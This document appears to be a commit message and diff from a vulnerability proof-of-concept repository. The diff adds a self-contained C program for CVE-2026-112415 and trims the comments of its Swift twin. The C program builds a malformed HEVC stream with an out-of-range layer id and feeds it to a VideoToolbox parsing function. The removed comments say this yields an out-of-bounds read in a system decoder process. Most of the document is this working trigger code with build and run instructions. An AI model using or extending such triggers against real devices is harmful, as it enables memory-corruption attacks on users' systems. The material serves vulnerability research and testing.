v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112415/CVE-2026-112415.c

@@ -0,0 +1,68 @@
+// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415
+// HEVC layer id outside the validated range
+// C twin of the Swift POC: builds the bad-layer-id HEVC stream and drives it through
+// CMVideoFormatDescriptionCreateFromHEVCParameterSets.
+// Build: clang -O2 -o cve-2026-112415 CVE-2026-112415.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation
+// Run:   ./cve-2026-112415 [layer-id]
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+// ── byte buffer ──
+typedef struct { uint8_t *d; size_t n, cap; } buf;
+static void bneed(buf *b, size_t extra) {
+    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
+}
+static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
+static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
+static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
+
+// ── seed construction (from Cinder27 Sources: VideoPayload.hevcBadLayerID) ──
+static buf hevc_bad_layer_id(uint8_t layer_id) {
+    buf out = {0};
+    bcat(&out, "\x00\x00\x00\x01", 4);                       // Annex-B start code
+    // VPS NAL, two-byte header carrying the out-of-range layer id
+    bcat(&out, (uint8_t[]){0x40, 0x01, layer_id, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60}, 9);
+    bcat(&out, "\x00\x00\x00\x01", 4);
+    bcat(&out, (uint8_t[]){0x42, 0x01, layer_id, 0x01, 0x60, 0x00}, 6);   // SPS
+    brep(&out, 0, 16);
+    return out;
+}
+
+// ── trigger: parameter-set parse through VideoToolbox ──
+#include <VideoToolbox/VideoToolbox.h>
+#include <CoreMedia/CoreMedia.h>
+#include <CoreFoundation/CoreFoundation.h>
+
+int main(int argc, char **argv) {
+    uint8_t layer_id = argc > 1 ? (uint8_t)strtoul(argv[1], NULL, 0) : 0x3F;
+
+    buf data = hevc_bad_layer_id(layer_id);
+    FILE *f = fopen("hevc_bad_layer.hevc", "wb");
+    if (f) { fwrite(data.d, 1, data.n, f); fclose(f); }
+
+    CMFormatDescriptionRef format = NULL;
+    const uint8_t *ptr = data.d;
+    OSStatus status = CMVideoFormatDescriptionCreateFromHEVCParameterSets(
+        kCFAllocatorDefault,
+        1,              // one parameter set: the whole buffer
+        &ptr,
+        (size_t[]){data.n},
+        4,              // 4-byte NAL unit header length
+        NULL,
+        &format);
+
+    printf("CVE-2026-112415 · layer id 0x%02x · OSStatus %d\n", layer_id, (int)status);
+    if (format) {
+        CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format);
+        printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height);
+        CFRelease(format);
+    } else {
+        printf("no format description produced (rejected at entry)\n");
+    }
+    printf("seed: hevc_bad_layer.hevc (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1));
+    int rc = status == noErr ? 0 : 1;
+    bfree(&data);
+    return rc;
+}

CVE-2026-112415/CVE-2026-112415.swift

@@ -1,19 +1,8 @@
-// vid.hevc · AVD.videodecoder 插件 · CVE-2026-112415
-// 原语: OOB 读 · 系统进程 · tier 2
-// Primitive: OOB read · system process · tier 2
-//
-// [zh] MVHEVC 层 ID 越界
-// 多层 HEVC 的 layer id 在 27.0 未做范围校验，越界值直接进入插件的层表索引。27.2 补入层 ID 校验。
-//
-// [en] MVHEVC layer id out of range
-// Multilayer HEVC layer ids are not range-checked on 27.0, so an out-of-range value goes straight
-// into the plugin's layer table index. iOS 27.2 adds layer id validation.
-// ── 判别 / oracle ──
-// 层 ID 取 0x3F（有效范围之外）。
-
+// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415
+// MVHEVC layer id out of range
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -34,7 +23,7 @@ enum B {
     static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
 }
 
-// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ──
+// ── seed construction (from Cinder27 Sources: VideoPayload) ──
 enum VideoPayload {
 static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data {
         var out = Data()